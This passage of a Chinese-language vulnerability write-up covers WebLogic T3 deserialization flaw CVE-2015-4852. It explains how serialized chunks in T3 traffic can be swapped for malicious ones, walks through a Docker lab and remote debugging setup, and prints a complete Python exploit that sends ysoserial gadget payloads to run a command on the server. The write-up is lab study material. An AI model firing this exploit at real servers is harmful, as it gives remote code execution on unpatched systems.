看到第二到第七部分内容,都是ac ed 00 05,说明该串内容是序列化的数据。而如果需要去构造payload的话,需要在后面序列化的内容中,进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列化达成攻击的目的。
- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。 - 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。 0x02 漏洞环境搭建 环境搭建这里借用了A-team 的weblogic漏洞环境项目来做搭建环境,省去不必要的麻烦。
漏洞环境地址:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
这里需要把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。
编译运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试。
mkdir ./middleware docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。
远程调试在这里将jar包复制到物理机上,然后打开IDEA创建一个空项目进行导入。
完成后就来配置远程调试
为了测试,这里使用WeblogicScan来扫描一下,看看在断点地方会不会停下。
在这里发现已经可以进行远程调试,后面我们就可以来分析漏洞了。
0x03 漏洞分析 漏洞复现在这先来讲漏洞复现一下后,再进行漏洞的分析
还是拿exp为例子,但是我们这里是docker搭建的环境,也没有构造回显。常用的弹出计算器,就算执行了也没法显示出来,所以在这里使用创建文件的方式验证该漏洞是否利用成功。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = './ysoserial.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload) if __name__ == "__main__": host = "192.168.1.40" port = 7001 gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21 command = "touch /tmp/CVE-2015-4852" payload = get_payload1(gadget, command) exp(host, port, payload)执行完成后,查看docker容器里面的文件。
docker exec weblogic1036jdk7u21 ls tmp/